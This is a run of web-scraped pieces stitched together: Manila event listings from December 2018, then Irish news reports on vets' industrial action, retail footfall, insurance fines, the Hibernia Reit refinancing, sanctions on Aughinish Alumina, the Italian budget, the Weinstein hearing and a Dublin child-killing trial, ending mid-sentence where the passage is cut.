#SaveAngkas, which will feature acts such as Nadine Lustre, Sam Concepcion, Andrew E, Ella Cruz, Gab Valenciano, Shanti Dope, Mayonnaise, Quest, Hale, Ex Battalion, Because, Donnalyn Bartolome, DJ Ace Ramos, Janine Tenoso, Jensen Gomez, J Kris, Leanne & Naara, Loonie, Marion Aunor, Mike Kosa, The Juans, Third Flo, and This Band. #SaveAngkas will be held at Quezon City Memorial Circle from 5 p.m. onwards. For more information, visit the Facebook event page. La Crema | Tarsius Kick off the weekend with live sets by rock and roll funk act LaCrema and psychedelic-electronic dance duo Tarsius. The gig will be held at Limbo, Poblacion from 10 p.m. to 2 a.m. on Dec. 21, Friday. Limbo is located at 5374 General Luna St., Brgy. Poblacion, Makati City. For more information, visit the Facebook event page. Fridays @ the workshop Head to Annex House in Makati this Friday for a holiday party with music by Tarantella, special holiday cocktails and shots, and free goodies and prizes. Annex House is a creative space and boutique residence that celebrates the intersection of art, fashion, music, performance, craftsmanship, culinary arts, and mixology. The party starts at 7 p.m. Annex House is located at 5856 Alfonso St., Brgy. Poblacion, Makati City. For more information, visit the Facebook event page. After Paskuhan 2018 Take to the streets of Manila this Friday for an annual music and street festival. Catch December Avenue, I Belong To The Zoo, Al James, Jet Boado, MC Boo, Adrian Cob, Miko Villena, Just Hush, Borhuh, MRKIII, and Monti Comia on Dec. 21 starting at 8 p.m. at V. Concepcion St., Dapitan, Manila. Tickets are priced at 350 with two free drinks. For more information, visit the Facebook event page. Paskuhan sa Kampuhan Join the workers of the camp Sumifru sa Liwasang Bonifacio this Sunday, Dec. 23, for a potluck lunch and learn about their fight for justice and workers rights. The gathering will be held at 1 p.m. The event is organized by labor rights group Kilusang Mayo Uno. For more information, visit the Facebook event page. Irie Sunday 8 Year Anniversary Though the regular spot for Irie Sunday has come and gone, the reggae party that would happen every Sunday at the now defucnt B-Side is back for its eight-year anniversary this time at Riverside Studios in Makati. The gig, happening this Sunday, Dec. 23, will feature performances by Lady I, Engkanto, Jah Dela Cruz, Clavier Bloc, CoffeeBreak Island, and Dancehall Manila. DJs spinning that night will include Red I, Don P, Soulflower, Masta T, T-Cash, Norris King, Greedy P, Ras Taro, and Dutty Mic. There will also be food stalls, pop-up stores, and live painting sessions. The event starts at 8 p.m. Admission is free from 8 p.m. to 10 p.m. Door charge is 150 after 10 p.m.. Riverside Studios is located at 2320 Osmena St., Brgy. Valenzuela, Makati City. For more information, visit the Facebook event page. Meat Industry Ireland (MII) the body representative for meat factories has said an ongoing dispute between Veterinary Ireland and the Department of Agriculture is undermining processing activity. It says the meat processing industry has been impacted by a work-to-rule by Temporary Veterinary Inspectors (TVIs) for much of the year due to a dispute between Veterinary Ireland and the Department of Agriculture, Food and the Marine. It's understood the work to rule comes amid ongoing talks between the Department of Agriculture and the vets around a number of issues concerning the TVI panel. "Over the past week, there has been an intensification of the work-to-rule. While processors are not involved in this dispute, they are nonetheless caught in the middle, MII said in a statement. It also said that the recent action is undermining normal processing activity and creating uncertainty for businesses and farmers. Some plants are facing significant disruption to operations which is impacting on processing throughout and animal intake and risking supplies to customers at a critical time of year. We need both parties at the table immediately and the work-to-rule halted, it said. The Department of Agriculture said it was "disappointed" at the disruption to meat inspections by the vets and that these inspections are necessary for the protection of public health and food safety. A spokesperson for Veterinary Ireland said vets are currently only fulfilling contractual agreements at the moment. He said at least 150 new veterinary positions are needed on the TVI panel to reduce the current shortage of vets. According to figures from the Department of Agriculture, in 2016, 602 Temporary Veterinary Inspectors (TVIs) were engaged by it to provide meat inspections services in approved meat plants throughout Ireland. They were paid a total of 15.9m. Of these 602 TVIs, 28 were retired Veterinary Inspectorate staff. 'Every year I tell myself that this will be the one where Im not racing to the shops on Christmas Eve.' A storm has broken out between retailers and forecasters amid claims "alarmist" weather warnings are deterring people from the shops. Retail Excellence released phase one of its 2018 Christmas Trading Statement, claiming that weather alerts were "significantly damaging footfall". Following consultation with more than 300 retailers, it said key findings were that "no matter what colour alert, consumers stay indoors". Last Saturday, as the second- last Saturday before Christmas, would traditionally be one of the busiest shopping days of the year, but a Met Eireann alert led to shoppers being concerned about venturing out, the organisation added. Retail Excellence said that in reality, "for the majority of the country, last Saturday was a windy and rainy day". However, Met Eireann has strongly defended its position - stating that it issues warnings for public safety, and they are based "on the best scientific evidence available at the time". It has been a tough period for 'main street' - the trading statement said that there was significant growth in online demand, with over 70pc of online spend leaving the country. Meanwhile, it reported footfall was down nationwide, although basket values were up, meaning individual shoppers were spending more. Retailers now believe it is all to play for, with payday tomorrow for many people. Figures show that, overall, Christmas 2018 retail sales will be on a par with Christmas 2017. David Fitzsimons, group chief executive at Retail Excellence, said: "Our team has spent the past two days gathering trading data from over 300 retailers nationwide. "The most common comment from retailers is that the weather alert issued by Met Eireann pertaining to weather conditions last Saturday was, at best, alarmist. "Most of the country experienced rain and some wind and yet the alert more or less turned off the spending tap, on one of the most important days in the retail calendar. "We very much hope that the lost spend will make its way into our members' tills in the coming days. Met Eireann needs to be cognisant of the devastating impact such alerts have on consumer activity," he said. However, Joan Blackburn of Met Eireann told the Irish Independent: "We issue warnings for public safety and for nothing else, on the best scientific information available to us at the time." She stressed warnings are based on the evidence available to Met Eireann, and they are continuously updated. Ms Blackburn also pointed out that warnings are communicated and updated on their website. In relation to last Saturday, she added: "The weather last Saturday was very bad. There was very heavy rainfall and there was strong wind. "There was a potential for some extreme winds, which clipped parts of the south coast, and some parts of southern coastal counties did experience some extreme winds. "Everywhere experienced windy conditions and it was extremely wet. There was a lot of flooding around last Saturday as well. "Our rainfall warnings were in operation for yellow rainfall and a yellow wind warning countrywide. They were upgraded to orange for wind for a short period in different areas during Saturday. It was communicated that it would be for a short period. The potential for really extreme winds was there." Ms Blackburn added that public safety is part of the remit of Met Eireann. A bank was entitled to appoint a receiver to take possession of the Diep Le Shaker restaurant on Dublin's Pembroke Lane, over default on a 1.16m mortgage secured on the premises, the High Court ruled. The mortgage was granted by Permanent TSB to Arthur and Christine ffrench O'Carroll in March 2008 and was provided on an interest-only basis with payments of 5,722 per month. The ffrench O'Carrolls subseqently defaulted on the repayments. In December 2010, PTSB sent a letter of demand to them for arrears. The letter stated if they did not hand over rental income, it would appoint a receiver to collect that rent from the restaurant and from property in the South Circular Road over which there was also a mortgage. In October 2011, PTSB demanded repayment of the loan within 10 days along with repayment of another loan on the South Circular Road properties which now had an outstanding amount of 2.4m. The bank appointed a receiver in 2011 to take possession of the restaurant. In February 2015, the original receiver's appointment was terminated and a new receiver appointed by PTSB. Four months later, in June 2015, PTSB sold the loan to Havbell which then appointed its own receiver. The ffrench O'Carrolls brought proceedings against PTSB, Havbell, and all three receivers while Havbell and its receiver counter-claimed against them. It was claimed the bank had no entitlement to appoint a receiver because no valid demand had been made for repayment of the entire debt when it wrote its December 2010 letter of demand for the arrears. The bank argued that once there was default on the mortgage, the security became immediately enforceable and it had a contractual right to appoint a receiver. The matter came before Ms Justice Una Ni Raifeartaigh by way of special case dealing with questions of law. In her answers to those questions, she found the 2008 mortgage became immediately enforceable on the occurrence of default on repayments as contained in a clause in the mortgage document. She also found the bank had a contractual right to appoint a receiver without first demanding repayment of the money secured by the mortgage. ONE of the largest insurers in the State has been hit with a huge fine. The sanction follows a massive accounting scandal that emerged in RSA Insurance Ireland five years ago. RSA Insurance was thrown into chaos after a massive hole was discovered in its balance sheet. This was mainly the result of the business having been found at the time to have set aside too little money in reserve to cover large claims. The Central Bank has now fined the insurer 3.5m for the regulatory breaches. RSA was the subject of an accounting scandal in this country in 2013, when it was found to have not set aside enough reserves to cover large claims. The Central Bank said RSA Insurance Ireland had failed to establish and maintain technical reserves in respect of all underwriting liabilities assumed by it. It had failed to have administrative and accounting procedures and internal control mechanisms which are sound and adequate. And it failed to have robust governance arrangements in place. The insurer admitted the breaches. The Central Bank said individuals within RSA Insurance Ireland had deliberately manipulated claim reserve estimates through the under-reserving of multiple large loss claims from 2009 until October 2013. This was done by recording claim reserve estimates on the firms claims database which were much lower than the claims handlers recommended reserve estimate. The insurer was also accused of delaying the recording of recommended claim reserve estimated increases. The Central Banks investigation also identified weaknesses in RSAs accounting procedures and internal financial control mechanisms. The extensive issues identified led to an understatement of 78.2m in the firms technical reserves as at 30 September 2013. Central Bank director of enforcement Seana Cunningham said insurance policyholders and the wider financial system are placed at significant risk when insurance entities fail to set aside sufficient reserves. Maintaining sufficient reserves to meet underwriting liabilities is the cornerstone of conducting business in all insurance entities. The starkest example of the under-reserving practice uncovered was a personal injuries claim with a recommended claim reserve estimate of 4.75m. The amount actually recorded on the firms claims database was 20,000, she aid. RSA said in a statement said no policyholders were adversely affected when the issues were identified in 2013. It said it took swift action to strengthen its controls following an internal investigation. RSA Ireland notes that the Central Bank is satisfied that the company has taken the necessary steps to rectify the deficiencies that gave rise to these issues, and also concluded that there was no evidence of adverse impact to policyholders. It said RSA Ireland is now performing well under an entirely new management team. Debt switch: Hibernia Reits move will help it keep funding options open but CEO Kevin Nowlan has said it will be at least three years before it completes new homes on its Newlands Cross site Hibernia Reit is to refinance its 400m secured revolving credit facility. The refinancing will be done with a 320m unsecured revolving credit facility and 75m of unsecured US private placement notes. The unsecured facility has a five-year term and a margin of 2pc over Euribor. As a result of the refinancing, the weighted average maturity of the group's debt has increased from 1.9 years to 5.7 years. The company's current net debt position is 210m. Hibernia is the first Irish Reit to move into an unsecured debt structure. Investec chief economist Philip O'Sullivan said the switch from secured to unsecured debt gives the group additional flexibility. "The group currently has net debt of 210m, so this refinancing also ensures continued firepower both for investment in Hibernia's development pipeline and acquisitions," Mr O'Sullivan added. Tom Edwards-Moss, chief financial office of Hibernia, said the company was "delighted" to have agreed the refinancing, which significantly extends the maturity of the group's debt and "locks in longer term, low-cost funding". "In addition, our move to an unsecured debt structure ensures we have access to the widest possible range of funding options in future." The participating banks in the refinancing are Bank of Ireland, Wells Fargo, Barclays Bank Ireland and Allied Irish Banks. Bank of Ireland and Wells Fargo acted as joint coordinators, and Bank of Ireland is acting as agent. Previously the secured facility, which was repayable in November 2020 and had a margin of 2.05pc, was the group's sole debt facility. The notes have an average maturity of 8.5 years and a weighted average coupon (fixed rate) of 2.53pc. They are being placed with a single institutional investor in a transaction priced on October 26 2018 and pursuant to a note purchase agreement signed on December 18, 2018, which will close on January 23, 2019, and comprises two tranches: 37.5m at 2.36pc due in 2026 and 37.5m at 2.69pc due in 2029. In November, Hibernia CEO Kevin Nowlan said it will be another three years at least before any new homes are delivered on his company's massive land bank at Newlands Cross in west Dublin. Speaking to the Irish Independent last month Mr Nowlan said there was now a "body of work" to be done to try to get the lands rezoned for residential development. With South Dublin County Council's current development plan due to run for a further three years, he said any rezoning, should it take place, "probably won't happen until 2022". Hibernia Reit's Newlands Cross portfolio extends to 143.7 acres and is composed of four adjoining parcels of land, which it acquired in individual transactions over the past four years. Hundreds of jobs at Aughinish Alumina are set to be saved, ending months of uncertainty about the future of the Limerick refinery which supplies up to a third of all aluminium in Europe and is one of the most important employers in the mid-west. Yesterday, the US Department of the Treasury's Office of Foreign Assets Control (OFAC) notified Congress of its intention to terminate the sanctions imposed on a series of companies controlled by Russian oligarch Oleg Deripaska. Limerick Alumina Refining Ltd (LARL), which continued to operate at full capacity while managing the impact on supplies owing to a series of rolling reprieves, is a wholly owned subsidiary of United Company Rusal, one of three entities controlled by Mr Deripaska. The fate of Aughinish was one of the top priorities for US-Ireland relations this year, resulting in a series of high-profile meetings in Dublin and Washington. Last night, OFAC said that Mr Deripaska will remain on its List of Specially Designated Nationals and Blocked Persons (SDN List) and his property will remain blocked. But the powerful Treasury agency determined that the significant restructuring and corporate governance changes to Rusal, EN+ and ESE - companies that were sanctioned by OFAC last April because of their ownership and control by Mr Deripaska - will enable them to meet the criteria for delisting. Expand Close On designated list: Russian oligarch Oleg Deripaska. AP photo / Facebook Twitter Email Whatsapp On designated list: Russian oligarch Oleg Deripaska. AP photo "Treasury sanctioned these companies because of their ownership and control by sanctioned Russian oligarch Oleg Deripaska, not for the conduct of the companies themselves," said Treasury Secretary Steven Mnuchin. "These companies have committed to significantly diminish Deripaska's ownership and sever his control. The companies will be subject to ongoing compliance and will face severe consequences if they fail to comply. "OFAC maintains the ability under the terms of the agreement to have unprecedented levels of transparency into operations." Earlier this year, the directors of Aughinish Alumina, which directly employs some 450 people, warned that its status as a sanctioned entity constitutes a material uncertainty that may cast significant doubt on the company's ability to continue as a going concern. However, the company recorded pre-tax profits of 44m last year, in large part owing to the increase in the price of aluminium created by the sanctions crisis. MOTOR policyholders here are set to escape having to meet the cost of claims from the collapse of Danish insurer Qudos. This is because the insurance company has gone bankrupt in Denmark, meaning the bill for outstanding claims will have to be picked up by the Danish authorities. There are over 1,500 claims in the system. A change in the law in Denmark last May could have meant the Danish scheme would not have been liable to meet Irish claim if Qudos was declared bankrupt after January 1 next. Qudos was authorised and regulated in Denmark, but was able to trade here under European Union freedom of services rules, selling through Wexford-based agent Patrona. It had 50,000 customers here. The Insurance Compensation Fund in this country would have been forced to pay the outstanding claims of the policyholders here if Qudos was declared bankrupt from the start of January. The Irish fund is already being used to fund claims related to the multi-billion euro black hole in Quinn Insurance and claims related to Setanta Insurance. And there are already fears the bankruptcy of another Danish insurer that did business here, Alpha, may see the compensation fund called on to pay any claims related to that firm. The Danish Financial Supervisory Authority said in a statement: The Danish insurance company Qudos Insurance A/S has been declared bankrupt. It said policies would be cancelled three months after the declaration of the bankruptcy. The Danish Guarantee Fund for non-life insurance undertakings will cover some claims incurred four weeks after the liquidator has notified the policyholders of the bankruptcy. Fianna Fail finance spokesman Michael McGrath said it was now essential that the claims are paid quickly, unlike the situation with Setanta Insurance. Those drivers with Setanta-related claims had to wait years for pay-outs after a wrangle here about which fund was liable for the costs. Asana is more than just a case of 'what Facebook co-founder Dustin Moskovitz did next'. Implementing a tool to manage tasks, cutting through other communication channel 'noise' while increasing productivity has landed the firm a big list of clients. The project management software's early adopters included the likes of Uber and Airbnb but it is now also used by long-established companies such as GE, Deloitte and Air France. And a recent funding frenzy into the San Francisco firm - a Series E round raised $50m last month, just 10 months after a $75m investment - is a reflection of how much the market values work management technology. According to co-founder Justin Rosenstein, Asana is the fasting growing SaaS firm in this category with seven quarters of accelerating ARR (around 90pc) under its belt. "It's both powerful enough to run giant companies while also being the easiest to use. There's no other one that's near the same power while also being simple to use," he told the Irish Independent. Tough talk. But the sentiment seems to be shared by both new and existing investors - which include Generation Investment Management, 8VC and Lead Edge Capital - who are putting money where Rosenstein's mouth is. The confidence in creating a product with a global impact can perhaps be linked to Asana's origins - the idea for the tool was first conceived when Rosenstein and co-founder Moskovitz were building software at Facebook. Moskovitz co-founded the company at Harvard University with Mark Zuckerberg, and Rosenstein helped create the platform's 'Like' button. "With our background, it is perhaps apparent that the scope of the projects that interest us are ones that affect the entire globe," said Rosenstein. "We want to be in the position that every business is using Asana, that it is the backbone - the fundamental architectural platform - that all others plug into. "We want to harness and combine artificial intelligence (AI) with human intelligence - so that we end up with a GPS for organisations, you tell it where you want to go and it will direct you there." The motivation behind Asana was spurred by the rapid team growth in Facebook's early days. Now the company boasts almost 400 employees across San Francisco, New York and Dublin, more than doubling its EMEA HQ team to 43 employees in Dublin over the past 12 months. Head of EMEA Robbie O'Connor said this hub - recently located at Hatch Street, close to messaging tool partner Slack - is hugely important to the company as it acts as a gateway to their best performing European markets. "As a company, we have reported 90pc year-on-year growth overall but the EMEA region has actually experienced a 140pc year-on-year growth. We've just moved into our shiny new offices which has capacity for 60 employees and we expect we will need a larger space next year. Dublin's mix of skilled talent and operational ease, and support from the IDA, has proved a winning case for Asana when they were looking for an EMEA HQ location. With speculation rife on possible outcomes post-Brexit, O'Connor said Asana are set to "roll with all the punches". "There is so much unknown, to be very frank, so we are just pushing ahead with the current strategy with all of our international organisations." Part of this long-term vision includes expanding Asana's global footprint further as it accommodates the needs of its wider customer base; around 50pc of its revenue comes from outside of the US. Last November, it adapted the tool for French and German, for Spanish and Portuguese in February this year, and it has just added Japanese as its sixth language and "will support more in the future". The company also introduced its Timeline capability feature over the last 12 months, in addition to integrations with Slack and Microsoft Outlook and a new product tier plan, Asana Business. Opening a European data centre in Frankfurt in the first half of 2019 is also on the cards, in addition to laying down roots in Asia Pacific, starting in Sydney and Tokyo. Rosenstein said the recent investment is also going to be used to improve its product even further - and maintain its high uptime figures. "Customers tell us that they are 45pc faster using Asana, so that makes a job complete in two weeks rather than three weeks," he said. "A lot of people who want to get in to these hot new spaces struggle with the ability to be all online all of the time. We've been committed to that from the beginning." 'When your audience isn't happy, you stop and listen - there's no point chasing subscribers numbers for their own sake, you need to be providing value to people' (stock picture) The purpose of this diary is to document our decisions as a startup. There's not much point doing that if we don't review them afterwards. So how did we do in 2018? Did voxgig make good decisions? Let's break things down by functional area to see how we did. 1 Product: We decided to build and release a conference search engine as a Minimum Viable Product (MVP) in the first quarter of the year. The basic decision was to follow the MVP strategy rather than building a more complete product. An MVP lets you get to feedback from users much more quickly, and then iterate on that feedback to improve your product. It's a great way to ensure you build what your customers want. If you're a non-technical founder starting an online software-based business, don't be tempted to try to be specific on everything about the software first and then get it built. That's a way to lose a lot of money quickly. Instead, find a development partner who can work with you ("iterate", as it's known) to improve your system over time. The worst place to end up is with a live version (1.0) and no way to fix bugs and respond to customer feedback. We used our MVP for a different purpose. We originally intended to build it to iterate, but then we used it to close deals with a few trials clients instead. We ended up iterating directly with those clients, building out the features they needed. You'll soon see these features when we launch at the end of January next year, but we haven't made them public yet. This was a big strategic decision. The more usual path would have been to start adding a way for users to register and start adding features - the initial target would have been conference speakers. We will, in fact, be doing this from February next year. What we realised was that while we had a good understanding of conference speakers and their needs (I am one), we did not have a good understanding of conference organisers. And because we wanted speakers and organisers to invite each other onto the system, we needed to have a great set of features for organisers too. To develop these features and really understand what organisers need, we had to work privately with them to build out this feature set. This was suboptimal. With hindsight I should have decided to stick to private trials entirely and not release an MVP. The MVP has not hurt us, as such, but it has been frustrating not to be able to show public progress. We could probably have supported another full scale trial client if we had not build the MVP, and we could have started the trials sooner. Lesson: choose deliberately between an MVP or private trials-you'll be able to focus your energies more effectively. 2 Marketing: We decided to build a community by launching a newsletter for speakers, and started to run meet-ups for event organisers. We've also just launched a podcast and a newsletter for event organisers as well. The decision to spend money and time on marketing in the early part of company's life has been very successful. We wanted to create an initial set of users who would be loyal and trust us and I think we've managed to do this extremely well. Once we open the shop doors next year, this will really pay off. There have been a few hiccups along the way. I set some outlandish and unachievable targets for the team, and probably demotivated them a little as a result. Lesson: don't let your founder enthusiasm get out of control - stay grounded. And, this is a subtle one, don't plan based on what you could achieve if you worked on something full-time because you just won't be able to. In a startup there's far too much going on. Even if you have the personal freedom and energy to work 100+ hour weeks, that's still only 2 major projects in the terms of your old non-startup life. Startups usually involve far more individual projects than that. As a founder you have to work about sales, marketing, product, recruiting, managing, operations, it never ends. And because you have to task-switch all the time, your productivity on any one thing is going to be reduced. 3 Culture: Being based in Waterford, a small city in the south-east corner of Ireland, means that you have some big challenges when it comes to finding great people. We've turned this weakness into a strength by adopting a remote-working and flexible model. Our team is based in Waterford, Carlow, London, Spain, Romania and India. We've been able to hire some great people precisely because we are flexible about how, when, and where they work. This recruiting strategy has been so successful that I would recommend it even if you're locating in a major technology hub city - you won't have to compete so heavily against other companies for talent. 4 Business model: This is the big one! Did we choose a good industry, and will our potential customers pay? We've done a lot of work to validate that this is the case - customer discovery, market research, private trials, even an MVP. We can't answer this question just yet. It will take all of 2019 to answer this question - it's going to be a fantastic journey! 5 Marketing update: the speakers newsletter is at 5,332 subscribers, and has an open rate of 15pc. The podcast had 44 downloads. We've decided to restart the 'eventprofs' newsletter subscriber base. We had initially started with the notification list from our meetups, but it turns out this audience was not seeing much value from a more general newsletter. When your audience isn't happy, you stop and listen - there's no point chasing subscribers numbers for their own sake, you need to be providing value to people. We're pausing to review the content, and figure out how to promote to the right audience. Italy's populist government has secured a deal with the European Union over its spending plans which reassures financial markets and stabilises public finances - at least in the short term. The European Commission gave a green light yesterday to the country's 2019 budget, after Rome offered concessions on welfare and pension election promises in order to lower the deficit target to 2.04pc from the initial 2.4pc that Brussels had rejected as an "unprecedented" breach of EU rules. Senior officials of the commission, the EU's executive arm, said after a meeting in Brussels that Italy's concessions meant there was no reason for now to trigger a sanctions process, which could lead to fines. "Let's be clear, the solution is not ideal but it avoids opening the excessive deficit procedure at this stage and it corrects the situation of serious non-compliance," commission vice president Valdis Dombrovskis told reporters. He said the process would be avoided "if agreed measures are fully implemented," adding that the budget as a whole and individual measures remain concerning. The verdict marks a victory for Premier Giuseppe Conte and Finance Minister Giovanni Tria, who persuaded the two main powers behind the government - eurosceptic Deputy Premiers Matteo Salvini and Luigi Di Maio - to take a conciliatory stand toward Brussels and cut 4bn in funding for a 'citizen's income' for the poor and a plan to lower the retirement age. Markets, which have been whipsawed by the standoff amid concerns about the budget's impact on Italy's debt mountain, surged. Italian 10-year bond yields fell as much as 18 basis points to 2.76pc, the lowest level in over three months, while Milan's main FTSE MIB index of shares rallied as much as 2pc with banking stocks leading gains. The revised budget package lowers the GDP outlook for 2019 to 1pc from 1.5pc, narrows the pool of people expected to take advantage of pension and welfare measures and delays their implementation to February and March respectively. It also pledges more sales of state-held real estate and other privatisations. Brussels and Rome met each other halfway to lock up the compromise, as Italian populists held off on their most ambitious spending plans, while the commission turned a blind eye to Italy's failure to comply with the obligation to lower its structural deficit next year. Uncertainty over the budget, which the government says provides much-needed stimulus, has pushed up sovereign borrowing costs and damaged sentiment, taking a toll on the economy which could see the country's first recession in five years. On the eve of the Brussels decision Mr Conte, a former law professor, argued his government's case with commissioners Dombrovskis and Pierre Moscovici, then sent them a letter they'd demanded in which he detailed measures to cut deficit spending and thus reduce debt, newspaper 'La Repubblica' reported yesterday. In the Senate, Mr Conte confirmed that Italy's target for growth in 2019 has been revised to 1pc from 1.5pc to take account of a worsening economic outlook due mainly to a slowdown of global trade. The government now faces a year-end deadline to get the bill through parliament. The budget bill is expected to be debated by the Senate from today, with approval needed in both the upper and lower houses. Bloomberg Harvey Weinstein is due in court in New York (David Mirzoeff/PA) Harvey Weinstein is due in court for a hearing which could see the sexual assault case against him dismissed. Weinstein was one of Hollywoods most powerful figures when scores of women including A-list actresses came forward in 2017 to allege he had sexually assaulted them. The flood of accusations brought the #MeToo movement to the forefront of the public consciousness and triggered the fall of a string of high-profile men. Expand Close Harvey Weinstein is due in court for a potentially pivotal hearing (Anthony Devlin/PA) / Facebook Twitter Email Whatsapp Harvey Weinstein is due in court for a potentially pivotal hearing (Anthony Devlin/PA) Film producer Weinstein has become the focal point of the movement and is facing charges of sexual assault in New York. He is accused of raping a woman in a hotel room in March 2013 and forcibly performing oral sex on another woman in 2006 at his apartment in Manhattan. Weinstein denies all allegations of non-consensual sex. On Thursday, a judge could dismiss the charges. Weinsteins lawyers argue the sexual assault allegations he is facing are the result of an unscrupulous police investigation and that one witness was pressured by a detective to give evidence supporting one of his accusers. Lawyer Benjamin Brafman urged a judge to stop this chaos and dismiss the case while prosecutors maintain there is ample evidence to put Weinstein, 66, on trial. Expand Close Actress and activist Rose McGowan, one of the most prominent figures of the #MeToo movement (Ian West/PA) / Facebook Twitter Email Whatsapp Actress and activist Rose McGowan, one of the most prominent figures of the #MeToo movement (Ian West/PA) Video of the Day On Thursday, Weinstein will appear before Manhattan Supreme Court Justice James Burke, who will make the decision. The judge has multiple options, including finding in favour of Weinstein and dismissing some or all of the charges. Justice Burke could side with prosecutors and schedule a trial. Another possible outcome is Justice Burke throws out the indictment but gives prosecutors time to seek a new one, keeping the case against the movie mogul alive. He could also keep the indictment but grant Weinsteins legal teams request for an evidentiary hearing, which would mean police investigators could be ordered to court to answer questions about alleged misconduct. Weinsteins case is the highest profile triggered by the #MeToo movement, with accusers including Rose McGowan and Asia Argento. Weinstein is also being investigated by police in Los Angeles and the UK. Thursdays hearing is scheduled to begin at 9.30am local time (2.30pm GMT). A sequel to hit teen romantic comedy To All The Boys Ive Loved Before, starring Lana Condor, is in development (Ian West/PA Wire) A sequel to hit teen romantic comedy To All The Boys Ive Loved Before is in development, Netflix has said. The film stars X-Men: Apocalypse actress Lana Condor as high school student Lara Jean, who writes secret letters to boys she likes before locking the notes away in her closet. Her life is turned upside down when the letters are mailed to her crushes. Also starring Noah Centineo, it was released on Netflix in August to positive reviews. The streaming giant has now confirmed a sequel is in development. They announced the news using a video on Twitter, showing Condor speaking to Centineo on the phone. After debating about who gets to tell fans, about our little secret, Condor, 21, confirms a sequel is in the works. She said: I am so excited, it is officially official, we are making the To All The Boys sequel. Centineo, 22, added: Bring on the sequel. We are so excited. The first film was based on Jenny Hans novel of the same name while the sequel will adapt the second book in the trilogy, P.S. I Still Love You. The third book is titled Always And Forever, Lara Jean. Award: Samantha Ring, from Swords, Co Dublin, leaves the Four Courts. Photo: Collins Courts Two children who were sprayed with petrol and fumes at a faulty fuel pump when they were aged only four years and 21 months, have been awarded almost 75,000 damages against Tesco. Barrister Hugh B Byrne told the Circuit Civil Court that Harvey Ring, now 11, and brother Zachary, now eight, were with their mother at the Tesco filling station on Clarehall, Malahide Road, in Dublin. Mr Byrne, who appeared with Kiera O'Reilly of Keans Solicitors, said that on March 27, 2012, Harvey was splashed and sprayed with petrol. The boys sued Tesco Ireland Limited through their mother, Samantha Ring, of Ridgewood Avenue, Forest Road, Swords. She told Circuit Court President, Mr Justice Raymond Groarke, in a sworn statement that her son Zachary, who had been asleep in the car, had also been doused with petrol through an open window. In 2014, Harvey had been offered a settlement of 10,000 and Zachary a figure of 8,500 but Keans Solicitors had successfully brought an application to the court seeking rejection of those offers. Mr Byrne told Judge Groarke that Tesco Ireland, with its registered office at Marine Road, Dun Laoghaire, had now offered Harvey a settlement of 48,775 and Zachary 25,300 and he was asking the court to accept these. The court heard the Tesco service station had been aware of a potential fault in the particular pump but had not closed it off to the public. Both children had suffered shock and subsequent anxiety symptoms. Judge Groarke approved both settlements. Neighbours of a doctor who is on trial accused of murdering her three-year-old son have told a jury that she was "beyond" a caring mother and did everything for him, the Central Criminal Court has heard. Maha Al Adheem (43) has admitted stabbing her son and told gardai that "a power" had made her go to a drawer and remove a knife. The boy was stabbed 20 times and four stab wounds had penetrated his lungs and heart, severing a vital artery. Opening the trial on Monday, prosecuting counsel Michael Delaney SC said the defence of insanity was being raised on behalf of Ms Al Adheem. Expert psychiatrists for both the prosecution and defence are in agreement that Ms Al Adheem fulfils the criteria of not guilty by reason of insanity, the jury was told. Kuwaiti national Ms Al Adheem, with an address at Riverside, Poddle Park, Kimmage, Dublin 12, has pleaded not guilty to murdering her son Omar Omran on July 10, 2017, at the same address. Yesterday, the court heard from neighbours of Ms Al Adheem, with one neighbour describing her as an "amazing mother". The same neighbour - Siobhan Murray - also told the court of Ms Al Adheem's belief that a black cat with no tail that hung around their apartment complex was an evil spirit, and it was a "worrying thing for her". A statement by Deputy State Pathologist Dr Linda Mulligan said she conducted a post-mortem on the deceased on July 12 and found there were 20 stab wounds in total. Four of the stab wounds had been fatal as they had penetrated his heart and lungs, severing a vital artery. Earlier, former garda Diarmaid Kelly told Mr Delaney he was the first to enter the accused's apartment after Dublin Fire Brigade - responding to a 999 call from the accused - used a sledgehammer to gain entry. He said Ms Al Adheem was standing in the hall directly in front of him and looked panicked. Mr Kelly moved towards a bedroom where he observed the body of a young boy lying on his back in the middle of the bed with his head towards the foot of the bed. The witness said he noted several puncture wounds to his torso and his legs. A silver metal knife was on the bed. Mr Kelly said he asked the accused repeatedly what had happened and she replied: "I did it, I stabbed my son and then stabbed myself." Under cross-examination by Patrick Gageby SC, defending, Mr Kelly agreed that Ms Al Adheem had the benefit of a safety order in her favour. Detective Garda Riana O'Sullivan gave evidence that she attended St James's Hospital with Ms Al Adheem as she had three small puncture wounds on her abdomen. Det Gda O'Sullivan said the accused told her in hospital that she had killed her son and her bed was full of blood. "She said 'the spirit goes to bed with me, at 12 o'clock I take the knife and start hitting him and myself, I want to die'," said Det Gda O'Sullivan. Sergeant Brendan O'Halloran told the prosecution that he arrested the accused at 10.05pm in the psychiatric unit of St James's Hospital on July 12 and conveyed her to Crumlin garda station, where four interviews were conducted with her. When the murder charge was put to her, she replied: "Yes, it was my knife, my hand, it was not me, the power." The trial continues. A doctor who stabbed her three-year-old autistic son to death in their south Dublin home has been found not guilty of his murder by reason of insanity. Kuwaiti national Maha Al Adheem (43) told gardai who arrived at the scene: I did it, I stabbed my son and then stabbed myself. A large amount of blood was observed on Ms Al Adheem's hands and clothing before the boy's body was found lying in the middle of a bed in the one bedroom apartment. Omar Omran was stabbed 20 times, mainly to the trunk of his body. Four stab wounds had penetrated his lungs and heart, severing a vital artery. His cause of death was multiple stab wounds to his chest, abdomen and trunk as well as to his right thigh. There were signs of defensive injuries to the boy's right hand and a silver stainless steel knife was found at the top of the bed. Ms Al Adheem told gardai in her interviews that a power had made her go to a drawer and remove the knife. Ms Al Adheem, with an address at Riverside, Poddle Park, Kimmage, Dublin 12 had pleaded not guilty to murdering Omar Omran on July 10, 2017 at the same address. Two consultant psychiatrists gave evidence during the Central Criminal Court trial that Ms Al Adheem was suffering from paranoid schizophrenia in July 2017. The defendant was unable to appreciate that what she did at the time was morally wrong and would have been unable to refrain from her actions, they said. The doctor met the requirements for the special verdict of not guilty by reason of insanity, the court heard. On the first day of the trial, defence counsel Anne Rowland SC made a number of admissions on behalf of her client including that Ms Al Adheem had inflicted stab wounds to the deceased and rang emergency services at 6.40pm on July 10 reporting that her son was dead. Patrick Gageby SC, also defending, told the court this morning that he would like to repeat and add to one of the section 22 admissions which his colleague Ms Rowland had previously made. The body of Omar Omran was removed to the Mater Hospital and then to the city morgue where an autopsy revealed stab wounds, which were inflicted by Ms Al Adheem who had the requisite intention required by the Criminal Justice Act of 1964, Mr Gageby said. The jury of nine men and three women spent one hour 